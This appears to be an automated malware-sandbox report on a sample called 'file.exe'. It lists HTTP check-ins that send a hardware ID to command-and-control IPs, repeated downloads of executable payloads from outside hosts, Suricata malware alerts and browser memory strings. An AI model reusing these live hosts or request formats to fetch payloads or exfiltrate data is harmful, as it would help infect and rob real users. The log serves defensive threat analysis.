Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016942001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"stok------BGHJJDGHCBGDHIECBGID--
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016943001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="build"stok------KFHJJDHJEGHJKECBGCFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016944001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7055252561/x0qQ2DH.exe HTTP/1.1Host: 31.41.244.11

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49749 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49782 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49797 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49805 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49806 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49813 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49819 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49825 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49834 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49839 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49842 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49845 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49852 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49856 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49863 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49876 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49875 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49892 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:49901 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49907 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49927 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49948 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49945 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49971 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49972 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49976 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49979 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49992 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49998 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50002 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50035 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:50037 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50049 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50048 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50057 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:50061 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:50058 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50045 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50065 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50071 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50072 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50079 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50080 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50086 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50087 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50090 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50073 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50096 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50095 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50102 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50107 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50141 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50142 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50110 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50144 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50164 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50170 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50177 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50178 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50185 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50193 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50192 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50187 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50179 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50222 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50205 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50183 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50182 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50188 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:50231 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50234 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50235 -> 172.67.179.109:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0067E0C0 recv,recv,recv,recv,

0_2_0067E0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=5uLvTJfGO9zFV91U1734533788 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/7055252561/x0qQ2DH.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlYou must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
